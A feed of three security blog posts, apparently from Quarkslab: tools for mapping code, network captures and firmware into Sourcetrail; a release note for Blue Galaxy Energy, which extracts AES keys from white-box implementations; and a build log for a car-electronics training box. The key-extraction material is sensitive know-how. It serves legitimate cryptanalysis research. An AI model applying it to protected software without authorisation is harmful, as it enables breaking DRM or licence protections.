Quarkslab's bloghttp://blog.quarkslab.com/2024-03-07T00:00:00+01:00Leveraging Sourcetrail to a mapping tool, meet Numbat and Pyrrha2024-03-07T00:00:00+01:002024-03-07T00:00:00+01:00Eloïse Brocastag:blog.quarkslab.com,2024-03-07:/leveraging-sourcetrail-to-a-mapping-tool-meet-numbat-and-pyrrha.html<p>Ever wanted to find a nice tool to easily represent cartography results and other graphs? The Sourcetrail tool could be a nice solution! In this blog post, we will introduce two of our tools: Numbat, a new Python API for Sourcetrail, and Pyrrha, a mapper collection for firmware cartography.</p><h2>Going beyond Sourcetrail</h2>
<p><a href="https://github.com/CoatiSoftware/Sourcetrail">Sourcetrail</a> is a source code explorer which allows to quickly understand any project, especially complex ones. The user can navigate through its different components (functions, classes, types, etc.) and observe their interactions as shown by the animation below.
Originally developed by CoatiSoftware, it supports indexing C, C++, Java and Python. Unfortunately, it is not maintained anymore.</p>
<p><img alt="sourcetrail.gif" src="resources/2024-03-07_pyrrha-numbat/sourcetrail.gif"></p>
<p>Given any C or C++ project and a preprocessing of its Makefile/Cmake (<em>cf</em> <a href="https://github.com/CoatiSoftware/Sourcetrail/blob/master/DOCUMENTATION.md#add-source-group">Sourcetrail Documentation</a>), Sourcetrail indexes all of the source code and the different structures involved. One can then navigate through the resulting data with a great view or a source code view. The first one groups the elements by type, then, given a specific one, for example a class, it shows its interactions, like imports, with other project elements. It is also possible to see where this class is defined in the source code and where it is used thanks to dynamic links between the graph part and the source code.</p>
<p>Sourcetrail is very powerful for source code analysis and whitebox security reviews. In summary, it helps the analyst understand a lot of data in a limited amount of time, so why not extend it to show other kinds of data?</p>
<h2>Let’s meet Numbat</h2>
<p>To that end, Quarkslab developed a Python API, called Numbat, to create and manipulate Sourcetrail databases.
Thanks to Numbat, anyone can easily write their own indexer to write arbitrary data as a graph into a Sourcetrail database.
They can then be visualized with the nice graphical Sourcetrail interface.</p>
<p><center>
<img src="resources/2024-03-07_pyrrha-numbat/numbat.svg" width="40%" height="40%" />
</center></p>
<h3>Why develop a new SDK?</h3>
<p>Numbat's main goal is to offer a user-oriented Python SDK given the fact that the current one, <a href="https://github.com/CoatiSoftware/SourcetrailDB">SourcetrailDB</a>, cannot be used efficiently anymore.
First of all, it is no longer maintained and as it is based on bindings that need to be compiled to create a Python package, it is more and more difficult to build it, especially on Windows. Moreover, SourcetrailDB requires a steep learning curve as it does not hide the internal database structure to the user. We wanted to have an API that can be used easily by anyone to obtain results quickly. That’s why we decided to develop a Python SDK with a simple workflow.</p>
<ol>
<li>Create or open a database.</li>
<li>Create nodes with a given type (class, functions, etc.).</li>
<li>Create relationships between nodes.</li>
</ol>
<p>A source code can also be added, which allows the creation of some association between the nodes and the corresponding elements in it.</p>
<p>Finally, some features have been added like the ability to search for an element in the database.
As it is a free software, Numbat is available on <a href="https://github.com/quarkslab/numbat">GitHub</a> as well as directly on PyPi with the following command:</p>
<div class="highlight"><pre><span></span><code><span class="n">pip</span> <span class="n">install</span> <span class="n">numbat</span>
</code></pre></div>
<h3>Explore Numbat possibilities</h3>
<p>Numbat offers the possibility to store any kind of data which can be visualized as graphs. It also decorrelates data generation and its visualization. Moreover, the results can easily distribute analysis outputs without access to the original target, which can be useful in some situations like in DFIR.</p>
<p>First, let’s take a simple example to illustrate the API usage: two classes, with the method of one using a field of the other.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">numbat</span> <span class="kn">import</span> <span class="n">SourcetrailDB</span>
<span class="c1"># Create DB</span>
<span class="n">db</span> <span class="o">=</span> <span class="n">SourcetrailDB</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s1">'my_db'</span><span class="p">,</span> <span class="n">clear</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="c1"># Create a first class containing the method 'main'</span>
<span class="n">my_main</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">record_class</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="s2">"MyMainClass"</span><span class="p">)</span>
<span class="n">meth_id</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">record_method</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="s2">"main"</span><span class="p">,</span> <span class="n">parent_id</span><span class="o">=</span><span class="n">my_main</span><span class="p">)</span>
<span class="c1"># Create a second class with a public field 'first_name'</span>
<span class="n">class_id</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">record_class</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="s2">"PersonalInfo"</span><span class="p">)</span>
<span class="n">field_id</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">record_field</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="s2">"first_name"</span><span class="p">,</span> <span class="n">parent_id</span><span class="o">=</span><span class="n">class_id</span><span class="p">)</span>
<span class="c1"># The method 'main' is using the 'first_name' field</span>
<span class="n">db</span><span class="o">.</span><span class="n">record_ref_usage</span><span class="p">(</span><span class="n">meth_id</span><span class="p">,</span> <span class="n">field_id</span><span class="p">)</span>
<span class="c1"># Save modifications and close the DB</span>
<span class="n">db</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
<span class="n">db</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<p>After running this code, opening the resulting database with Sourcetrail will produce the following result.</p>
<p><center>
<img src="resources/2024-03-07_pyrrha-numbat/numbat_res.png" />
</center></p>
<p>Numbat can be used to create any kind of data that can be visualized with Sourcetrail. For example, we developed a Ghidra script which, given a binary, decompiles it, iterates over the functions to recreate the function-level call graph with Numbat, and, for each function, registers within it the associated decompiled source code. It allows the user to quickly understand the code structure and to target specific functions without having to deal with Ghidra UI at the beginning of their analysis.</p>
<p><center>
<img src="resources/2024-03-07_pyrrha-numbat/ghidra_output.jpeg" width="100%" />
</center></p>
<p>Tools are not limited only to the reverse/program analysis area, we could use Numbat in other fields, like in the following example for network visualization. The complete script is available <a href="https://github.com/quarkslab/numbat/blob/main/examples/map_pcap.py">here</a>.</p>
<div class="highlight"><pre><span></span><code><span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="c1"># Create a new database</span>
<span class="n">db</span> <span class="o">=</span> <span class="n">SourcetrailDB</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">outfile</span><span class="p">,</span> <span class="n">clear</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="n">nodes</span> <span class="o">=</span> <span class="p">{}</span>
<span class="n">edges</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">args</span><span class="o">.</span><span class="n">infile</span><span class="p">:</span>
<span class="c1"># Open pcap file using scapy</span>
<span class="n">packets</span> <span class="o">=</span> <span class="n">rdpcap</span><span class="p">(</span><span class="n">file</span><span class="p">)</span>
<span class="k">for</span> <span class="n">packet</span> <span class="ow">in</span> <span class="n">packets</span><span class="p">:</span>
<span class="c1"># Read packet information</span>
<span class="n">protocol</span> <span class="o">=</span> <span class="n">packet</span><span class="o">.</span><span class="n">lastlayer</span><span class="p">()</span><span class="o">.</span><span class="n">name</span>
<span class="n">src</span><span class="p">,</span> <span class="n">sport</span><span class="p">,</span> <span class="n">dst</span><span class="p">,</span> <span class="n">dport</span> <span class="o">=</span> <span class="n">get_packet_info</span><span class="p">(</span><span class="n">packet</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">src</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">dst</span><span class="p">:</span>
<span class="k">continue</span>
<span class="c1"># Update nodes for src/dst</span>
<span class="k">if</span> <span class="n">src</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">nodes</span><span class="p">:</span>
<span class="nb">id</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">record_class</span><span class="p">(</span><span class="n">prefix</span><span class="o">=</span><span class="s2">"Machine"</span><span class="p">,</span> <span class="n">name</span><span class="o">=</span><span class="n">src</span><span class="p">,</span> <span class="n">postfix</span><span class="o">=</span><span class="s2">""</span><span class="p">)</span>
<span class="n">nodes</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="n">src</span><span class="p">:</span> <span class="nb">id</span><span class="p">})</span>
<span class="k">if</span> <span class="n">dst</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">nodes</span><span class="p">:</span>
<span class="nb">id</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">record_class</span><span class="p">(</span><span class="n">prefix</span><span class="o">=</span><span class="s2">"Machine"</span><span class="p">,</span> <span class="n">name</span><span class="o">=</span><span class="n">dst</span><span class="p">,</span> <span class="n">postfix</span><span class="o">=</span><span class="s2">""</span><span class="p">)</span>
<span class="n">nodes</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="n">dst</span><span class="p">:</span> <span class="nb">id</span><span class="p">})</span>
<span class="n">sname</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">'</span><span class="si">{</span><span class="n">src</span><span class="si">}</span><span class="s1">:</span><span class="si">{</span><span class="n">sport</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">protocol</span><span class="si">}</span><span class="s1">'</span>
<span class="n">dname</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">'</span><span class="si">{</span><span class="n">dst</span><span class="si">}</span><span class="s1">:</span><span class="si">{</span><span class="n">dport</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">protocol</span><span class="si">}</span><span class="s1">'</span>
<span class="c1"># Add ports as class fields</span>
<span class="k">if</span> <span class="n">sname</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">nodes</span><span class="p">:</span>
<span class="nb">id</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">record_field</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="sa">f</span><span class="s1">'</span><span class="si">{</span><span class="n">sport</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">protocol</span><span class="si">}</span><span class="s1">'</span><span class="p">,</span> <span class="n">parent_id</span><span class="o">=</span><span class="n">nodes</span><span class="p">[</span><span class="n">src</span><span class="p">])</span>
<span class="n">nodes</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="n">sname</span><span class="p">:</span> <span class="nb">id</span><span class="p">})</span>
<span class="k">if</span> <span class="n">dname</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">nodes</span><span class="p">:</span>
<span class="nb">id</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">record_field</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="sa">f</span><span class="s1">'</span><span class="si">{</span><span class="n">dport</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">protocol</span><span class="si">}</span><span class="s1">'</span><span class="p">,</span> <span class="n">parent_id</span><span class="o">=</span><span class="n">nodes</span><span class="p">[</span><span class="n">dst</span><span class="p">])</span>
<span class="n">nodes</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="n">dname</span><span class="p">:</span> <span class="nb">id</span><span class="p">})</span>
<span class="c1"># Add the edges between nodes</span>
<span class="n">edge_name</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">'</span><span class="si">{</span><span class="n">sname</span><span class="si">}</span><span class="s1">|</span><span class="si">{</span><span class="n">dname</span><span class="si">}</span><span class="s1">'</span>
<span class="k">if</span> <span class="n">edge_name</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">edges</span><span class="p">:</span>
<span class="c1"># Record a usage between the src port and dst port</span>
<span class="nb">id</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">record_ref_usage</span><span class="p">(</span><span class="n">nodes</span><span class="p">[</span><span class="n">sname</span><span class="p">],</span> <span class="n">nodes</span><span class="p">[</span><span class="n">dname</span><span class="p">])</span>
<span class="n">edges</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="n">edge_name</span><span class="p">:</span> <span class="nb">id</span><span class="p">})</span>
<span class="n">db</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
<span class="n">db</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<p>This example takes a network capture in the <code>.pcap</code> format and outputs a Sourcetrail database. With less than
a hundred lines of Python, it's possible to quickly visualize the interactions between the different capture elements.
We run this script on a capture of the network traffic generated by a malware obtained through <code>hybrid-analysis</code>. This
sample was interesting because it interacted with a lot of different devices.</p>
<p><center>
<img src="resources/2024-03-07_pyrrha-numbat/malware.png" width="60%" />
</center></p>
<p>The result of this script in Sourcetrail can be seen below:</p>
<p><center>
<img src="resources/2024-03-07_pyrrha-numbat/malware-sourcetrail2.png" />
</center></p>
<p>In addition to all of these options, we could imagine developing various visualization tools to help security analysts. For instance, they could parse:</p>
<ul>
<li>a mass scan on a given infrastructure, showing which port is open on which machine, which service is exposed;</li>
<li>an ActiveDirectory dump to show the rights;</li>
<li>and so on.</li>
</ul>
<p>The possibilities are endless! We have written <a href="https://quarkslab.github.io/numbat/tutorial/">a detailed step-by-step tutorial</a>.
Do not hesitate to take a look at it and the whole documentation to discover how Numbat can be used
for new tools!</p>
<h2>Pyrrha: Numbat applied on filesystem</h2>
<p>After having an efficient API to create Sourcetrail-compatible DB, now take a look at one project we developed using Numbat: Pyrrha, a mapper collection for firmware analysis. The goal of this tool is to do a cartography of a firmware using several mappers. For the moment only one has been developed, which maps ELF/PE imports/exports and the associated symlinks of the filesystem to analyze.</p>
<p>The Pyrrha filesystem mapper workflow is quite simple, as described on the diagram below. It uses the <a href="https://lief-project.github.io/">lief</a> tool to parse each ELF (or PE) file contained on the filesystem and export all the imported/exported symbols. We have implemented a simple linker to resolve all of these imports. Besides its limitations (<em>e.g.</em>, it does not handle all the options given to <code>ld</code> for import resolutions), it works well to give the analyst a first view of the OS structure they are working on.</p>
<p><center>
<img src="resources/2024-03-07_pyrrha-numbat/pyrrha_workflow.png"/>
</center></p>
<p>As a result, the analyst can visualize which file is importing which function and thus quickly understand which binaries are related to "critical" functions/libraries. For the image below, we have used Pyrrha on the Netgear RAX30 router firmware. Visualizing the result with Sourcetrail allows us to directly obtain the list of binaries that are using the <code>curl</code> option to set parameters, and potentially deactivate the certificate verification. In a few seconds, using Pyrrha, we are able to reduce our analysis spectrum to only a few binaries.
(To learn about the end of this ’curl’ story, take a look at our <a href="https://blog.quarkslab.com/our-pwn2own-journey-against-time-and-randomness-part-1.html">blog post</a> on the subject).</p>
<p><center>
<img src="resources/2024-03-07_pyrrha-numbat/pyrrha_res.png" />
</center></p>
<p>New mappers can really easily be developed as described in the <a href="https://quarkslab.github.io/pyrrha/contributing/dev_mapper/">Pyrrha documentation</a>. Pyrrha is available on <a href="https://github.com/quarkslab/pyrrha">Quarkslab’s GitHub</a> as well as directly on PyPi, doing:</p>
<div class="highlight"><pre><span></span><code><span class="n">pip</span> <span class="n">install</span> <span class="n">pyrrha</span><span class="o">-</span><span class="n">mapper</span>
</code></pre></div>
<h2>Conclusion</h2>
<p>We are releasing <a href="https://github.com/quarkslab/numbat">Numbat</a> to create arbitrary Sourcetrail databases that can be used for various topics as shown with our examples (Ghidra callgraphs or network). We are already using Numbat in our firmware mapping tool <a href="https://github.com/quarkslab/pyrrha">Pyrrha</a>. It's now time to play with them!</p>
<p>If you are using Numbat to create a database, let us know! We welcome any kind of contribution.</p>BGE Attack on AES White-Boxes: Extending Blue Galaxy Energy for Decryption and Shuffled States2024-02-29T00:00:00+01:002024-02-29T00:00:00+01:00Nicolas Surbayroletag:blog.quarkslab.com,2024-02-29:/bge-attack-on-aes-white-boxes-extending-blue-galaxy-energy-for-decryption-and-shuffled-states.html<p>We announce the release of a new version of <em>Blue Galaxy Energy</em>, our white-box cryptanalysis tool implementing the BGE attack against AES. This version addresses the main limitations of the previous version.</p><h2>Introduction</h2>
<p>In <a href="https://blog.quarkslab.com/blue-galaxy-energy-a-new-white-box-cryptanalysis-open-source-tool.html">a previous blog post</a>, we introduced Blue Galaxy Energy, a tool for performing the <em>BGE attack</em> against white-box implementations of AES. However, the initial version suffered from some limitations, only supporting encryption white-box implementations with unshuffled, 8-bit encoded intermediate states.</p>
<p>This v2.0 release addresses these limitations by introducing support for:</p>
<ul>
<li><strong>Shuffled intermediary states:</strong> The tool can handle implementations that shuffle the order of intermediate states.</li>
<li><strong>Decryption white-box implementations:</strong> We can now analyze implementations that perform decryption operations (in case of shuffling as well).</li>
</ul>
<h2>Support for Shuffled Intermediary States</h2>
<p>Using Blue Galaxy Energy requires locating the intermediary states of the white-box through reverse engineering. While the states may be easily accessible in some cases (e.g., on the stack or heap), they can also be stored in registers or obfuscated structures. Additionally, implementations may purposely shuffle the state to hinder key extraction.</p>
<p>So we implemented three extra steps to support the shuffled-state case.</p>
<ul>
<li>The first hurdle involved finding a permutation that mimics the byte propagation within an AES round. This was crucial to generate optimized inputs for the attack.</li>
<li>Next, during the affine parasites recovery step, we extracted the MixColumns coefficients. To determine each coefficient, we associate with each characteristic polynomial the involved MixColumns coefficient. While we need to compute only 4 characteristic polynomials by column to perform the BGE attack, the recovery of MixColumns coefficients needs the computation of 16 characteristic polynomials to fully define each coefficient of a column.</li>
<li>Finally, we tackled the task of finishing the unshuffling, with some optimizations compared to the literature. This allowed us to reduce the possibilities to a mere 16. The actual key schedule then helped pinpoint the unique correct permutation.</li>
</ul>
<p>Our tool now supports shuffled states by allowing you to set the <code>shuffle</code> parameter to <code>True</code> in the <code>run</code> method. In this mode, the tool automatically detects the correct byte order of each intermediary state. However, enabling shuffled states support increases the minimum required rounds for a unique key recovery:</p>
<ul>
<li>AES-128: 4 rounds (compared to 3 previously)</li>
<li>AES-256: 5 rounds (compared to 4 previously)</li>
</ul>
<p>The additional round allows identifying the correct key from potential candidates using the AES key scheduling algorithm. Once the key is found, the <code>getShuffle()</code> method provides the correct order of each intermediary state.</p>
<p>In cases where providing the additional round is not feasible, the tool will return 16 key candidates instead of a single key. This allows for further analysis to identify the correct key among the candidates.</p>
<p>For implementation details, please refer to the aptly named file <a href="https://github.com/SideChannelMarvels/BlueGalaxyEnergy/blob/main/implementation_details.md#shuffled-states">implementation_details.md</a>, which elaborates on the approach partially based on "Phase 4" described in the paper <em><a href="https://eprint.iacr.org/2013/450">Revisiting the BGE Attack on a White-Box AES Implementation</a></em> by Yoni De Mulder et al.</p>
<h2>Support for Decryption White-Boxes</h2>
<p>Decrypting with the BGE attack turned out to be much trickier than expected. We had to rearrange the AES steps to achieve a similar structure for decryption and discovered that a key proposition from the original attack no longer holds true.</p>
<p>The main difficulty stemmed from replacing the SBox with its inverse. This seemingly simple change meant we could no longer uniquely identify specific values at a specific step of the attack.</p>
<p>Nevertheless, we were able to narrow down the possibilities and leverage the key extraction equation to identify the correct ones.
Although this process involved a moderate brute-force, it only needs to be done once per decryption whitebox. Overall, the complexity of the BGE attack for decryption is even lower than for encryption due to certain optimizations. These details are explained in <a href="https://github.com/SideChannelMarvels/BlueGalaxyEnergy/blob/main/implementation_details.md#support-of-decryption">implementation_details.md</a>.</p>
<p>To enable analysis of decryption implementations, we added a mandatory <code>isEncrypt</code> method to the <code>WhiteBoxedAES</code> template class.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">BlueGalaxyEnergy</span> <span class="kn">import</span> <span class="n">WhiteBoxedAES</span>
<span class="k">class</span> <span class="nc">MyWhitebox</span><span class="p">(</span><span class="n">WhiteBoxedAES</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">isEncrypt</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="c1"># return True if the white-box is an encryption white-box, False otherwise</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="c1"># ... other methods (getRoundNumber, applyRound)</span>
</code></pre></div>
<h2>Conclusion</h2>
<p>This new version of Blue Galaxy Energy significantly expands its capabilities, allowing you to analyze both decryption and shuffled state white-box implementations. These improvements address previous limitations and simplify the process of applying BGE attacks. However, reverse engineering and instrumentation remain necessary to isolate and identify individual rounds within the implementation.</p>
<p>For further information, please refer to the project's <a href="https://github.com/SideChannelMarvels/BlueGalaxyEnergy/blob/main/README.md">README</a>.</p>
<p>We encourage you to use Blue Galaxy Energy to analyze white-box implementations with external encodings and share your findings whenever possible.</p>
<p>To update an existing installation to the v2.0 release, simply execute <code>pip install --upgrade bluegalaxyenergy</code>.</p>
<p>We welcome feedback, suggestions, and contributions to support additional use cases.</p>
<h2>Acknowledgments</h2>
<p>We reiterate our gratitude to Laurent Grémy for having developed the core functionality of Blue Galaxy Energy for encryption white-box implementations.</p>How I Built a Car In a Box2024-02-22T00:00:00+01:002024-02-22T00:00:00+01:00Julien Rakotomalalatag:blog.quarkslab.com,2024-02-22:/how-i-built-a-car-in-a-box.html<p>In this article, we'll see how to put an entire car into a transportable box from scratch or at least the main electronic components.</p><style>
img {
border: none;
padding: none;
}
.column {
float: right;
width: 48%;
padding: 5px;
}
.column2 {
float: right;
width: 30%;
padding: 5px;
}
/* Clearfix (clear floats) */
.row::after {
content: "";
clear: both;
display: table;
}
</style>
<h2>Introduction</h2>
<p>That is not new anymore; cars are becoming smarter. They are full of sensors gathering information for various purposes, connected to the ECU (Electronic Control Unit) that computes inputs and, ultimately, acts on actuators. This system has existed for years, and the number of domains to which it applies is expanding day by day.</p>
<p>We will present the VAGBox, as I like to call it, where VAG stands for Volkswagen Aktien Gesellschaft which means "joint-stock company", and it is the parent company that sells passenger cars under the Audi, Bentley, Bugatti, Cupra, Jetta, Lamborghini, Porsche, SEAT, Škoda and Volkswagen brands.</p>
<p>The VAGBox is not the first 'car in a box' made by Quarkslab. Indeed, in 2022, Philippe Azalbert released a very comprehensive version based on a 2017 Ford C-Max. You can watch a French interview he conducted <a href="https://www.youtube.com/watch?v=acBLw_I9rME">here</a>. Additionally, other companies, like Digiteq Automotive, also construct cars in boxes, although their primary purpose is more aligned with test benches rather than demonstrations and education.</p>
<p>There are several communication protocols specific to cars, such as CAN, Flex Ray, and automotive Ethernet. The reasons for building another one are twofold. Firstly, it is to diversify the range of car models we have. Even though car manufacturers are more like integrators nowadays, they all have specific softwares and implementations. Secondly, Quarkslab offers a Practical Car Hacking training, and due to the challenges of bringing an entire car or the lack of available space, we find it more efficient to extract relevant parts of a car and place them in a transportable wheel box. This approach also prevents students from accidentally damaging a real car. The last reason is to use these setups for demonstrations at various shows in which Quarkslab participates.</p>
<p>The VAGBox is oriented towards connectivity and is lightweight. By that, I mean, I included the most important ECUs that compose a basic car, such as the gateway and the body control module. Additionally, I incorporated those ECUs related to external connectivity, including Bluetooth, Wi-Fi, and 2G/3G/4G, such as the In-Vehicle Infotainment (IVI), and the e-CALL or Telematic Control Unit (TCU). Unlike the first Car in a Box, there are no actuators in this setup.</p>
<p>Now that the introduction is done, let's see how to do it!</p>
<h2>Buying</h2>
<h3>Which and why</h3>
<p>The VAGBox is made from a 2016 Volkswagen Passat B8. It is based on the platform MQB which is a shared modular design construction. Cars such as the Audi A3 MK3, the VW Golf MK7, the Škoda Octavia Mk3 or the SEAT León Mk3 not only share the same platform but also utilize the same ECUs, making them very common.</p>
<p>The initial step was to list the ECUs and the components to include in the box. It determined the size of the box. For the VAGBox, the objective was to use the smallest and most practical box possible. I wanted it in a plug-and-play style, requiring no setup other than turning it on. </p>
<p>As mentioned in the introduction, our aim was simplicity. Typically, the first ECU to include is the instrument cluster (ICM) due to its role and the wealth of visual information it provides to the user about the car.</p>
<p>The second ECU is, of course, the Body Control Module (BCM), responsible for various functions such as locking/unlocking doors, controlling interior and exterior lights, waking up other ECUs, and more.</p>
<p>The third ECU is the infotainment unit, for two reasons:</p>
<ul>
<li> It is the ECU with the highest level of user interactivity, storing users' data, pairing with smartphones, and connecting to other ECUs through the CAN bus or automotive Ethernet. During presentations, it adds visual content.</li>
<li> It is a possible and interesting entry point for an attacker. IVI has Bluetooth, USB ports and sometimes Wi-Fi. It usually uses traditional operating systems like Windows CE, Android or QNX, making them an interesting target for workshops.</li>
</ul>
<p>The fourth ECU is the eCALL, which, in most cases, provides the vehicle access to the outside using eSIM for receiving updates and more. It is also capable of emitting emergency calls and sending data when an accident is detected.</p>
<p>The fifth ECU is the gateway, acting as a firewall transferring data across internal networks and providing physical isolation between different CAN bus. Typically, the eCALL is not connected to the same network as the engine control unit (ECU), although some specific data may be exchanged between them.</p>
<p>Finally, the KESSY (Keyless Entry Start SYstem) module, used for the passive key entry feature (PKE) and for starting the vehicle without the need to physically use the key.</p>
<p>In my opinion, these ECUs represent the minimum required for a complete, lightweight car in a box.</p>
<h3>ECUs</h3>
<p>There are three ways to get ECUs:</p>
<ul>
<li> From manufacturers: this solution is the most expensive and ECUs need to be manually calibrated with OEM tools that we do not have.</li>
<li> From a scrapyard: the advantages include direct access to a vehicle, wiring harnesses, and connectors, as well as the possibility to check if ECU(s) are working properly. The inconveniences include finding the correct vehicle, and most of the time, you have to dismantle everything yourself.</li>
<li> From the Internet: this method offers the benefit of choosing from a wide range of vehicles. On some websites like "ovoko.com", parts are grouped by vehicles, allowing you to obtain ECUs from the same one. However, ECUs are secondhand, and most of the time, they come from accident-damaged cars. There is neither a guarantee to receive a working ECU nor the matching connector.</li>
</ul>
<p>The VAGBox is built with ECUs ordered from ovoko's website and from two different cars, which will create some issues that I'll speak about later.</p>
<h3>Accessories</h3>
<p>The VAGBox is, of course, also composed of side components. There is not much to say about them, so here is a bullet list of what I bought:</p>
<ul>
<li> AC 110/220v to DC 12v transformer (easily findable on the Internet)</li>
<li> 3-meter-long power cord</li>
<li> DB9 ports (to easily connect to CAN buses)</li>
<li> 10 mm plywood panel for the box frame</li>
<li> A complete Wiring harness from a 2016 Volkswagen Passat B8</li>
<li> Braided cable sleeve and electrical tape (for custom wiring harness)</li>
<li> Bungee cord to maintain ECUs in place</li>
</ul>
<h3>Box</h3>
<p>Then came the time to find a box that fits every ECU and accessory. It must meet the following criteria:</p>
<ul>
<li> As small as possible</li>
<li> Equipped with wheels and a trolley</li>
<li> Very strong (previous experiences show that transportation, especially by plane, is very critical)</li>
<li> The lid must be able to stay open</li>
</ul>
<p>At the moment of choosing, I had already ordered and received ECUs, so I took measurements by placing components on the floor, following some criteria (again). The Instrument Cluster (IC) and In-Vehicle Infotainment (IVI) screen must be placed on the lid, which is the most visible place on the box. Besides, I wanted to hide the ECUs' connectors as much as possible.</p>
<p>Here is a picture of what was supposed to be the final positioning:</p>
<p><center>
<a href="resources/2024-02-22_building_a_car_in_a_box/20231024_114621.jpg" width="60%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231024_114621.jpg">
</a>
</center></p>
<!-- Photo of the placement of ECUs
![ECUs placement](resources/2024-02-22_building_a_car_in_a_box/20231024_114621.jpg)
-->
<p>Now that I knew the minimum required size for the box, and with the list of criteria in mind, a quick research on the Internet led me to this one:</p>
<p><center>
<a href="resources/2024-02-22_building_a_car_in_a_box/box.jpg" width="80%">
<img src="resources/2024-02-22_building_a_car_in_a_box/box.jpg">
</a>
</center></p>
<!-- Photo of the box
![Box](resources/2024-02-22_building_a_car_in_a_box/box.jpg)
-->
<p>The inside dimensions of the box are 538 mm wide, 405 mm long, and 190 mm high, and it comes with protective foam. At first glance, the box seemed too small but it was not.</p>
<!--
![First test](resources/2024-02-22_building_a_car_in_a_box/20231128_191454.jpg)
-->
<p><center>
<a href="resources/2024-02-22_building_a_car_in_a_box/20231128_191454.jpg" width="60%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231128_191454.jpg">
</a>
</center></p>
<h2>Building</h2>
<h3>Main panels</h3>
<p>The box is made of strong plastic material, but it cannot directly support the components. Therefore, I've devised a solution with a separate panel for each inner side of the box. These panels are glued and used to affix each component on them.
So I took some measurements and cut wood panels, which is quite easy when using the proper tools (as always).</p>
<!-- Photo of the panel while cutting
![Cutting Panels](resources/2024-02-22_building_a_car_in_a_box/20231109_135726.jpg)
-->
<div class="row">
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231109_141547.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231109_141547.jpg">
</a>
</div>
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231109_135726.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231109_135726.jpg">
</a>
</div>
</div>
<p>On the lower side of the box, the surface wasn't perfectly flat; some 2 mm high humps prevented proper gluing of the panel. To fix this, I used a router to thin spots on the wood panel.</p>
<div class="row">
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231109_144103.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231109_144103.jpg">
</a>
</div>
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231109_144058.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231109_144058.jpg">
</a>
</div>
</div>
<!-- a photo of a thinner spot on one panel
![buttons](resources/2024-02-22_building_a_car_in_a_box/20231109_144058.jpg)
![thinner spot](resources/2024-02-22_building_a_car_in_a_box/20231109_144103.jpg)
-->
<!-- Photo of the box with panels fit in
![fitted panels](resources/2024-02-22_building_a_car_in_a_box/20231109_141547.jpg)
-->
<p>As the height of the box is limited (cf. box's criteria) and to maximize the available height space between panels when the box is closed, I drilled holes in the plywood panels at the spots corresponding to the ECUs' connectors, like this:</p>
<!-- Zoomed photo of a drilled hole for connector
![Holes on plywood](resources/2024-02-22_building_a_car_in_a_box/20231213_151248.jpg)
-->
<p><center>
<a href="resources/2024-02-22_building_a_car_in_a_box/20231213_151248.jpg" width="60%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231213_151248.jpg">
</a>
</center></p>
